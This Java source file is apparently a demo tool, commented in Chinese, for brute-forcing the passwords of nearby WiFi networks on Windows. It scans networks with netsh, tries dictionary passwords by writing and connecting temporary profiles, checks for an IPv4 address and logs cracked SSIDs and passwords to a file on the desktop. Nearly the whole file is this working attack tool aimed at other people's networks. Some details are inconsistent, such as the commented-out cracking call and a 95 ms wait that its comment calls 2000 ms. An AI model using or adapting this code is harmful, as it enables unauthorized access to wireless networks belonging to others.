package com.wifi.wifi3;


import com.wifi.wifi3.domain.BSSID;
import com.wifi.wifi3.domain.WifiDomain;
import com.wifi.wifi3.utils.CmdUtils;
import com.wifi.wifi3.utils.DictionaryUtils;
import com.wifi.wifi3.utils.StringUtils;
import com.wifi.wifi3.utils.WiFiUtils;
import org.springframework.beans.BeanUtils;
import org.springframework.util.FileCopyUtils;

import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;

/**
 * @author ZhangYue26
 * @date 2020-07-11 14:40
 * @Description: 破解能够扫描到的WIFI的密码Demo，注意暂不支持破解手机热点
 */
public class AutoAllWifiDemo {

    private static List<String> resultList = new ArrayList<>();//用于存储破解成功的WIFI名称和密码


    public static void main(String[] args) throws IOException {

        DictionaryUtils.generateNumbersFile(8,8);//生成纯数字密码并直接进行破解（指定纯数字密码的最少位与最多位）
//        crackWIFI(passwordFile);
        outputFile("C:\\Users\\zhangyue26\\Desktop\\");//将破解结果输出到文件

    }


    /**
     * @Author ZhangYue26
     * @Description: 破解所有WIFI
     * @Description //TODO
     * @Date 2020/7/13 9:45
     * @Param [passwordFile]
     * @return void
     **/
    public static void crackWIFI(String password) throws IOException {
        List<String> wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./");
        List<WifiDomain> wifiDomainList = getWifiDomainList(wifiList);

        for (WifiDomain wifiDomain : wifiDomainList) {
            String signal = wifiDomain.getBssid().getSignal();
            Integer singleInteger = Integer.valueOf(signal.trim().substring(0, signal.length() - 1));
            if (singleInteger >= 60) {//信号大于60进行破解
                System.out.println("-----------开始破解WIFI：" + wifiDomain.getSSID() + "-------------");
                int i = 0;
                i++;
                boolean success = connect(wifiDomain.getSSID(), password);
                if (success) {
                    resultList.add("连接成功，" + wifiDomain.getSSID() + " 的密码为 " + password + " 信号强度为：" + wifiDomain.getBssid().getSignal() + "%");
                    System.out.println("连接成功，" + wifiDomain.getSSID() + "的密码为" + password);
                    continue;
                }
            }
        }


    }

    /**
     * 连接wifi
     * @param ssid
     * @param wifiPwd
     */
    private static boolean connect(String ssid, String wifiPwd) {
        AtomicBoolean isTrue = new AtomicBoolean(false);
        try {
            String hex = StringUtils.str2HexStr(ssid);
            //生成wifi配置文件
            String wifiConf = WiFiUtils.getWifiStr(ssid, hex,wifiPwd);
            File out = new File("./temp.xml");
            FileCopyUtils.copy(wifiConf.getBytes(), out);
            //添加配置文件
            printList(CmdUtils.execute("netsh wlan add profile filename=temp.xml","./"));
            //连接wifi
            printList(CmdUtils.execute("netsh wlan connect name=\""+ssid+"\"","./"));
            //测试网络，使用ping的方式检测网络，此处建议优化改其他效率更高的方式，暂停2000毫秒是因为连接WiFi需要时间，这个时间因环境而异
            Thread.sleep(95);
            List<String> ipconfig = CmdUtils.execute("ipconfig", "./");
            ipconfig.forEach(config->{
                if (config.contains("IPv4 地址")||config.contains("IPv4")) {
                    isTrue.set(true);
                }
            });
            return isTrue.get();

        }catch (Exception e){
            e.printStackTrace();
        }
        return isTrue.get();
    }

    /**
     * @Author ZhangYue26
     * @Description: 将密码输出文件到指定目录中
     * @Description //TODO
     * @Date 2020/7/13 9:49
     * @Param []
     * @return void
     **/
    private static void outputFile(String resultFilePath) throws IOException {
        String fileName = "破解结果" + System.currentTimeMillis()+".txt";
        File file = new File(resultFilePath+fileName);
        boolean exists = file.exists();
        if (!exists) {//如果不存在则创建文件
            file.createNewFile();
        }
        OutputStream outputStream = new FileOutputStream(file);
        resultList.forEach(val->{
            try {
                outputStream.write((val+"\r\n").getBytes());
                outputStream.flush();
            } catch (IOException e) {
                System.out.println("写文件时出现异常");
                e.printStackTrace();
            }
        });
        outputStream.close();

    }

    /**
     * 获得ssidList
     * @param resultList 通过cmd命令查出来的附件WiFi
     * @return
     */
    private static List<WifiDomain> getWifiDomainList(List<String> resultList) {
        List<WifiDomain> ssidList = new ArrayList();
        AtomicReference<WifiDomain> wifiDomain = new AtomicReference<>(new WifiDomain());
        AtomicReference<BSSID> bssid = new AtomicReference<>(new BSSID());
        resultList.forEach(val->{
            if (val.trim().startsWith("SSID")) {
                wifiDomain.get().setSSID(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
            }
            if (val.trim().startsWith("Network type") && !org.apache.commons.lang.StringUtils.isBlank(wifiDomain.get().getSSID())) {
                wifiDomain.get().setNetworkType(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
            }
            if (val.trim().startsWith("身份验证") && !org.apache.commons.lang.StringUtils.isBlank(wifiDomain.get().getSSID())) {
                wifiDomain.get().setAuthentication(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
            }
            if (val.trim().startsWith("加密") && !org.apache.commons.lang.StringUtils.isBlank(wifiDomain.get().getSSID())) {
                wifiDomain.get().setEncryption(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
            }
            if (!org.apache.commons.lang.StringUtils.isBlank(wifiDomain.get().getSSID())
                && !org.apache.commons.lang.StringUtils.isBlank(wifiDomain.get().getAuthentication())
                && !org.apache.commons.lang.StringUtils.isBlank(wifiDomain.get().getEncryption())
                && !org.apache.commons.lang.StringUtils.isBlank(wifiDomain.get().getNetworkType())) {

                if (val.trim().startsWith("BSSID 1")) {
                    bssid.get().setBssId(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
                }

                if (val.trim().startsWith("信号")&& !org.apache.commons.lang.StringUtils.isBlank(bssid.get().getBssId())) {
                    bssid.get().setSignal(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
                }

                if (val.trim().startsWith("无线电类型")&& !org.apache.commons.lang.StringUtils.isBlank(bssid.get().getBssId())) {
                    bssid.get().setRadioType(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
                }

                if (val.trim().startsWith("频道")&& !org.apache.commons.lang.StringUtils.isBlank(bssid.get().getBssId())) {
                    bssid.get().setFrequency(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
                }

                if (val.trim().startsWith("基本速率")&& !org.apache.commons.lang.StringUtils.isBlank(bssid.get().getBssId())) {
                    bssid.get().setBasicRate(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
                }

                if (val.trim().startsWith("其他速率")&& !org.apache.commons.lang.StringUtils.isBlank(bssid.get().getBssId())) {
                    bssid.get().setOtherRates(val.substring(val.lastIndexOf(":")+1,val.length()).trim());
                    wifiDomain.get().setBssid(bssid.get());
                    WifiDomain wifiDomain1 = new WifiDomain();
                    BeanUtils.copyProperties(wifiDomain.get(),wifiDomain1);
                    ssidList.add(wifiDomain1);
                    wifiDomain.set(new WifiDomain());
                    bssid.set(new BSSID());
                }

            }

        });
        return ssidList;
    }

    /**
     * 打印list数据
     * @param resultList
     */
    private static void printList(List<String> resultList) {
        for (String result : resultList) {
            System.out.println(result);
        }
    }

    /**
     * ping 校验
     */
    private static boolean ping() {
        boolean pinged = false;
        String cmd = "ping www.baidu.com";
        List<String> result = CmdUtils.execute(cmd, "./");
//        printList(result);
        if (result != null && result.size() > 0) {
            for (String item : result) {
                if (item.contains("来自")) {
                    pinged = true;
                    break;
                }
            }
        }
        return pinged;
    }



}
